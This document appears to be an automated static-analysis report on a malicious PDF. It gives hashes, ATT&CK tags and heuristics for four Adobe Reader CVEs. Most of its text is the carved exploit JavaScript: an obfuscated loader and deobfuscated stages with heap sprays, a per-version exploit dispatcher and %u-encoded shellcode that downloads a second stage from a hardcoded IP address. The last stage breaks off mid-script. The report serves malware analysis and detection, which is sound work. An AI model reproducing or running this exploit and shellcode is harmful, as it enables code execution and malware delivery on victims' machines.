Malicious PDF — malware analysis report

Static analysis result for SHA-256 dca17b74c118291d…

MALICIOUS

PDF

12.4 KB First seen: 2026-05-08
MD5: 25f900b73e633cb1178e79e32a232850 SHA-1: d5981a5770d409368d78ad4df718059f320c4179 SHA-256: dca17b74c118291dffb02066a1ec5f1ac8ca5f6d8c2d7c14643fb278364eb0a2
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to achieve code execution. The deobfuscated JavaScript indicates that it downloads a second-stage payload from the URL http://66.199.229.50/w.php?f=95&e=5. This behavior is consistent with a downloader or initial access exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=95&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11570 bytes
SHA-256: 29aa02d5ef27a6c7ffc0a268e081683ff6f2c8f09234f92bdadb71bf878d5180
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(9,31,6,1,6,64,36,64,29,29,34,72,47,3,32,64,14,37,55,63,45,45,14,37,31,73,1,11,14,37,55,15,31,73,14,37,74,15,1,11,14,37,1,50,63,11,14,37,63,63,15,31,14,37,45,11,73,18,14,37,11,18,55,34,14,37,55,34,63,18,14,37,18,73,11,18,14,37,74,18,55,34,14,37,15,45,36,73,14,37,74,45,55,34,14,37,63,63,18,55,14,37,45,45,52,34,14,37,15,1,55,34,14,37,18,63,63,73,14,37,63,63,74,11,14,37,55,36,10,73,14,37,36,15,1,1,14,37,31,31,36,18,14,37,34,55,31,31,14,37,11,18,55,34,14,37,73,63,63,18,14,37,63,50,11,45,14,37,74,15,18,45,14,37,55,74,31,34,14,37,10,11,63,11,14,37,1,11,55,15,14,37,15,36,74,15,14,37,1,34,1,50,14,37,15,36,11,73,14,37,55,34,15,45,14,37,63,73,74,15,14,37,74,11,55,34,14,37,74,55,63,15,14,37,31,15,18,63,14,37,55,34,15,45,14,37,10,18,74,45,14,37,31,15,18,63,14,37,73,50,63,63,14,37,11,36,11,50,14,37,48,52,31,73,14,37,73,15,18,63,14,37,52,34,63,63,14,37,34,1,18,31,14,37,63,55,36,18,14,37,74,11,31,10,14,37,73,36,18,55,14,37,18,52,73,34,14,37,52,48,18,63,14,37,1,34,11,18,14,37,63,34,31,36,14,37,74,15,36,31,14,37,15,1,1,45,14,37,15,1,55,34,14,37,18,63,10,11,14,37,45,45,52,52,14,37,18,73,55,34,14,37,55,52,11,34,14,37,1,73,11,45,14,37,15,11,31,31,14,37,18,73,10,11,14,37,52,55,55,34,14,37,52,52,18,63,14,37,18,11,55,34,14,37,18,63,55,34,14,37,48,34,73,15,14,37,15,50,15,1,14,37,1,34,73,63,14,37,48,52,15,63,14,37,45,55,55,34,14,37,55,18,10,18,14,37,18,73,74,52,14,37,74,11,63,63,14,37,50,45,18,63,14,37,31,63,1,34,14,37,45,55,55,34,14,37,55,34,18,55,14,37,45,48,31,74,14,37,15,50,18,15,14,37,50,55,1,55,14,37,31,31,31,31,14,37,1,10,31,31,14,37,1,55,31,50,14,37,18,18,18,18,14,37,18,18,18,18,14,37,15,18,15,55,14,37,11,18,45,48,14,37,31,31,45,55,14,37,18,18,18,18,14,37,15,18,18,18,14,37,73,18,55,63,14,37,15,18,36,50,14,37,55,34,15,15,14,37,55,34,1,73,14,37,36,18,15,1,14,37,73,63,55,63,14,37,31,31,18,15,14,37,45,55,1,63,14,37,45,1,45,31,14,37,18,18,18,18,14,37,74,15,45,55,14,37,45,73,74,10,14,37,15,11,45,52,14,37,36,45,31,31,14,37,73,11,55,63,14,37,55,34,18,55,14,37,1,55,1,55,14,37,31,31,45,36,14,37,31,31,31,31,14,37,18,10,1,34,14,37,74,10,1,34,14,37,1,73,55,36,14,37,18,36,18,11,14,37,18,18,18,18,14,37,15,73,55,52,14,37,18,73,10,11,14,37,18,11,73,74,14,37,74,10,10,11,14,37,45,74,45,15,14,37,73,74,74,63,14,37,10,11,11,11,14,37,74,45,18,11,14,37,63,63,74,10,14,37,73,74,63,10,14,37,10,11,11,11,14,37,10,18,18,55,14,37,74,63,10,52,14,37,15,63,10,18,14,37,31,55,45,55,14,37,18,18,18,18,14,37,31,31,18,18,14,37,18,73,15,45,14,37,1,55,55,34,14,37,73,50,63,63,14,37,73,74,15,36,14,37,36,52,11,11,14,37,74,74,18,18,14,37,45,10,74,18,14,37,73,74,74,11,14,37,36,52,11,11,14,37,10,1,18,15,14,37,45,73,45,11,14,37,73,45,45,73,14,37,36,52,11,11,14,37,18,18,18,50,14,37,55,48,15,50,14,37,18,11,73,36,14,37,55,55,63,18,14,37,36,52,11,11,14,37,11,36,18,11,14,37,45,48,15,36,14,37,45,48,18,18,14,37,15,63,18,18,14,37,45,48,15,74,14,37,31,31,18,18,14,37,36,11,15,45,14,37,73,18,55,15,14,37,36,45,74,15,14,37,18,18,45,48,14,37,31,31,15,63,14,37,18,11,15,45,14,37,18,18,45,48,14,37,1,34,55,63,14,37,15,63,18,73,14,37,15,45,31,31,14,37,55,63,18,11,14,37,18,73,73,63,14,37,18,10,1,34,14,37,36,63,1,34,14,37,55,18,11,74,14,37,18,18,63,31,14,37,31,48,74,15,14,37,55,18,11,74,14,37,18,18,63,31,14,37,73,11,74,15,14,37,18,18,45,48,14,37,31,1,45,48,14,37,15,45,31,31,14,37,1,55,18,55,14,37,31,1,50,73,14,37,31,31,31,31,14,37,11,1,55,1,14,37,1,73,18,1,14,37,31,1,50,55,14,37,18,1,55,48,14,37,45,31,55,50,14,37,34,52,18,36,14,37,73,48,63,63,14,37,15,34,55,48,14,37,73,45,36,34,14,37,74,50,11,45,14,37,36,48,63,45,14,37,74,18,10,31,14,37,74,11,45,55,14,37,74,18,74,11,14,37,10,31,63,48,14,37,63,45,10,31,14,37,10,1,63,45,14,37,63,50,63,36,14,37,10,1,63,50,14,37,63,10,63,10,14,37,10,1,63,50,14,37,63,18,63,15,14,37,74,74,10,31,14,37,74,18,10,1,14,37,74,18,45,55,14,37,45,45,63,31,14,37,63,50,63,52,14,37,10,45,63,15,14,37,63,52,45,15,14,37,18,18,63,15,14,37,18,18,18,18,64,46,31,37,8,73,23,9,21,8,0,1,30,58,26,6,26,48,69,51,43,29,71,41,20,9,16,1,6,26,48,5,16,1,8,3,23,20,7,10,22,51,43,29,71,26,48,67,32,26,48,46,75,26,48,32,26,48,5,47,37,34,47,23,26,9,8,3,6,18,69,51,43,28,10,29,46,26,1,23,37,26,8,0,26,48,46,75,0,31,37,8,73,23,9,21,8,0,34,13,6,29,71,58,48,26,0,52,66,3,32,8,1,41,0,49,26,26,48,43,6,29,46,58,48,26,0,58,41,32,18,13,18,73,18,73,18,73,18,73,46,58,48,26,0,48,52,52,26,32,18,13,11,18,18,18,18,18,46,58,48,26,0,61,48,43,16,21,48,52,32,37,8,1,47,73,48,61,1,6,34,72,47,3,29,46,58,48,26,0,47,73,62,16,1,8,32,61,48,43,16,21,48,52,5,16,1,8,3,23,20,7,10,46,58,48,26,0,51,43,32,48,52,52,26,60,6,47,73,62,16,1,8,67,18,13,63,55,29,46,58,48,26,0,43,48,26,47,61,32,37,8,1,47,73,48,61,1,6,59,14,37,50,18,50,18,14,37,50,18,50,18,59,29,46,43,48,26,47,61,32,1,30,58,26,6,43,48,26,47,61,69,51,43,29,46,58,48,26,0,73,21,37,8,23,10,32,6,58,41,60,18,13,11,18,18,18,18,18,29,28,48,52,52,26,46,31,21,26,6,58,48,26,0,73,21,37,8,23,32,18,46,73,21,37,8,23,22,73,21,37,8,23,10,46,73,21,37,8,23,67,67,29,71,52,66,3,54,73,21,37,8,23,40,32,43,48,26,47,61,67,61,48,43,16,21,48,52,46,75,0,58,48,26,0,21,58,1,26,31,16,21,41,32,37,8,1,47,73,48,61,1,6,59,14,37,18,73,18,73,14,37,18,73,18,73,59,29,46,41,20,9,16,1,6,21,58,1,26,31,16,21,41,5,16,1,8,3,23,20,22,11,11,50,15,10,29,71,21,58,1,26,31,16,21,41,67,32,21,58,1,26,31,16,21,41,46,75,0,23,20,9,47,5,73,21,16,16,48,34,56,23,21,26,1,32,35,21,16,16,48,34,5,73,21,16,16,1,73,23,65,12,48,9,16,25,8,31,21,6,71,47,37,34,72,24,59,59,69,12,47,3,24,21,58,1,26,31,16,21,41,75,29,46,75,0,31,37,8,73,23,9,21,8,0,61,26,9,8,23,31,6,29,71,8,21,61,32,37,8,1,47,73,48,61,1,6,59,14,37,18,49,18,49,14,37,18,49,18,49,14,37,18,49,18,49,14,37,18,49,18,49,59,29,46,58,48,26,0,61,48,43,16,21,48,52,32,37,8,1,47,73,48,61,1,6,34,72,47,3,29,46,20,1,48,61,34,16,21,73,66,32,8,21,61,67,61,48,43,16,21,48,52,46,34,9,3,34,16,21,73,66,32,37,8,1,47,73,48,61,1,6,59,14,37,18,49,18,49,14,37,18,49,18,49,59,29,46,20,1,48,52,1,26,47,9,30,1,32,10,18,46,47,61,26,48,43,32,20,1,48,52,1,26,47,9,30,1,67,20,1,48,61,34,16,21,73,66,5,16,1,8,3,23,20,46,41,20,9,16,1,6,34,9,3,34,16,21,73,66,5,16,1,8,3,23,20,22,47,61,26,48,43,29,71,34,9,3,34,16,21,73,66,67,32,34,9,3,34,16,21,73,66,46,75,0,31,9,16,16,34,16,21,73,66,32,34,9,3,34,16,21,73,66,5,47,37,34,47,23,26,9,8,3,6,18,69,47,61,26,48,43,29,46,34,16,21,73,66,32,34,9,3,34,16,21,73,66,5,47,37,34,47,23,26,9,8,3,6,18,69,34,9,3,34,16,21,73,66,5,16,1,8,3,23,20,60,47,61,26,48,43,29,46,41,20,9,16,1,6,34,16,21,73,66,5,16,1,8,3,23,20,67,47,61,26,48,43,22,18,13,11,18,18,18,18,29,71,34,16,21,73,66,32,34,16,21,73,66,67,34,16,21,73,66,67,31,9,16,16,34,16,21,73,66,46,75,0,12,1,12,32,8,1,41,0,49,26,26,48,43,6,29,46,31,21,26,6,9,32,18,46,9,22,36,11,18,18,46,9,67,67,29,71,12,1,12,54,9,40,32,34,16,21,73,66,67,20,1,48,61,34,16,21,73,66,46,75,0,58,48,26,0,8,37,12,32,36,10,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,46,37,23,9,16,5,61,26,9,8,23,31,6,59,14,11,15,18,18,18,31,59,69,8,37,12,29,46,75,0,31,37,8,73,23,9,21,8,0,3,1,23,9,73,21,8,6,29,71,58,48,26,0,48,26,26,43,32,8,1,41,0,49,26,26,48,43,6,29,46,9,31,6,48,61,61,5,52,21,73,5,35,21,16,16,48,34,5,3,1,23,25,73,21,8,29,71,58,48,26,0,61,48,43,16,21,48,52,32,37,8,1,47,73,48,61,1,6,34,72,47,3,29,46,58,48,26,0,20,44,51,15,18,18,35,38,32,61,48,43,16,21,48,52,5,16,1,8,3,23,20,7,10,46,58,48,26,0,51,43,32,18,13,11,18,18,18,18,18,60,6,20,44,51,15,18,18,35,38,67,18,13,63,55,29,46,58,48,26,0,43,48,26,47,61,32,37,8,1,47,73,48,61,1,6,59,14,37,50,18,50,18,14,37,50,18,50,18,59,29,46,43,48,26,47,61,32,1,30,58,26,6,43,48,26,47,61,69,51,43,29,46,58,48,26,0,61,15,49,72,57,45,15,31,32,6,18,13,18,73,18,73,18,73,18,73,60,18,13,11,18,18,18,18,18,29,28,18,13,11,18,18,18,18,18,46,31,21,26,6,58,48,26,0,58,51,73,70,42,50,45,43,32,18,46,58,51,73,70,42,50,45,43,22,61,15,49,72,57,45,15,31,46,58,51,73,70,42,50,45,43,67,67,29,71,48,26,26,43,54,58,51,73,70,42,50,45,43,40,32,43,48,26,47,61,67,61,48,43,16,21,48,52,46,75,0,58,48,26,0,23,2,68,20,38,34,33,41,32,37,8,1,47,73,48,61,1,6,59,14,18,50,59,29,46,41,20,9,16,1,6,23,2,68,20,38,34,33,41,5,16,1,8,3,23,20,22,18,13,11,18,18,18,29,71,23,2,68,20,38,34,33,41,67,32,23,2,68,20,38,34,33,41,46,75,0,23,2,68,20,38,34,33,41,32,59,38,5,59,67,23,2,68,20,38,34,33,41,46,48,61,61,5,52,21,73,5,35,21,16,16,48,34,5,3,1,23,25,73,21,8,6,23,2,68,20,38,34,33,41,29,46,75,75,0,48,4,16,37,3,9,8,47,32,48,61,61,5,61,16,37,3,25,8,47,46,58,48,26,0,47,58,32,61,48,26,47,1,25,8,23,6,48,61,61,5,58,9,1,41,1,26,19,1,26,47,9,21,8,5,23,21,56,23,26,9,8,3,6,29,5,73,20,48,26,49,23,6,18,29,29,46,31,21,26,6,58,48,26,0,9,32,18,46,9,22,48,4,16,37,3,9,8,47,5,16,1,8,3,23,20,46,9,67,67,29,71,9,31,6,48,4,16,37,3,9,8,47,54,9,40,5,8,48,12,1,32,32,64,65,56,73,26,9,61,23,64,29,71,58,48,26,0,16,58,32,48,4,16,37,3,9,8,47,54,9,40,5,58,1,26,47,9,21,8,46,75,75,0,9,31,6,6,16,58,32,32,50,29,17,17,6,6,47,58,32,32,55,29,53,53,6,16,58,22,32,55,5,36,10,29,29,29,71,3,1,23,9,73,21,8,6,29,46,75,1,16,47,1,0,9,31,6,16,58,32,32,74,5,36,29,71,61,26,9,8,23,31,6,29,46,75,1,16,47,1,0,9,31,6,6,6,47,58,32,32,45,29,17,17,6,47,58,32,32,74,29,29,53,53,6,16,58,22,74,5,36,36,29,29,71,34,13,6,29,46,75,1,16,47,1,0,9,31,6,6,16,58,39,32,50,5,36,29,17,17,6,16,58,22,32,50,5,10,29,17,17,6,16,58,39,32,55,5,36,63,29,17,17,6,16,58,22,32,55,5,36,74,29,29,71,31,37,8,73,23,9,21,8,0,48,6,29,71,37,23,9,16,5,61,26,9,8,23,52,6,64,61,27,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,36,0,24,0,43,43,43,43,36,36,36,64,69,8,1,41,0,42,48,23,1,6,29,29,46,75,58,48,26,0,20,32,48,61,61,5,61,16,37,3,25,8,47,46,31,21,26,6,58,48,26,0,31,32,18,46,31,22,20,5,16,1,8,3,23,20,46,31,67,67,29,71,9,31,6,20,54,31,40,5,8,48,12,1,32,32,64,65,56,73,26,9,61,23,64,29,71,58,48,26,0,9,32,20,54,31,40,5,58,1,26,47,9,21,8,46,75,75,0,9,31,6,6,9,39,55,5,36,10,29,53,53,6,9,22,55,5,10,29,29,71,73,32,8,1,41,0,49,26,26,48,43,6,29,46,58,48,26,0,52,32,37,8,1,47,73,48,61,1,6,64,14,37,50,18,50,18,14,37,50,18,50,18,64,29,46,58,48,26,0,1,32,37,8,1,47,73,48,61,1,6,34,72,47,3,29,46,41,20,9,16,1,6,52,5,16,1,8,3,23,20,22,32,18,13,55,18,18,18,29,71,52,67,32,52,46,75,52,32,52,5,47,37,34,47,23,26,6,18,69,18,13,55,18,18,18,60,1,5,16,1,8,3,23,20,29,46,31,21,26,6,31,32,18,46,31,22,10,50,18,18,46,31,67,67,29,71,73,54,31,40,32,52,67,1,46,75,48,6,29,46,48,6,29,46,23,26,43,71,23,20,9,47,5,12,1,52,9,48,5,8,1,41,4,16,48,43,1,26,6,8,37,16,16,29,46,75,73,48,23,73,20,6,1,29,71,75,48,6,29,46,75,75);
a=new String(" eUgP.(*ni24mx%5l|0Vho<t:Ir@/)zf=GbC1uN>]wDyW6;saA9qd&[8SKv'-p_3'Ek+M,Q{jc7}");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: bf0e435d874319439eaa1871e3cacd90d9e8c5348c092effff355685e2d032f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u393d%u2635%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: d52e9dbe61cca4c6499620e5a3b243b62f620191086da2512cfb8d770b92ca00
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u393d%u2635%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	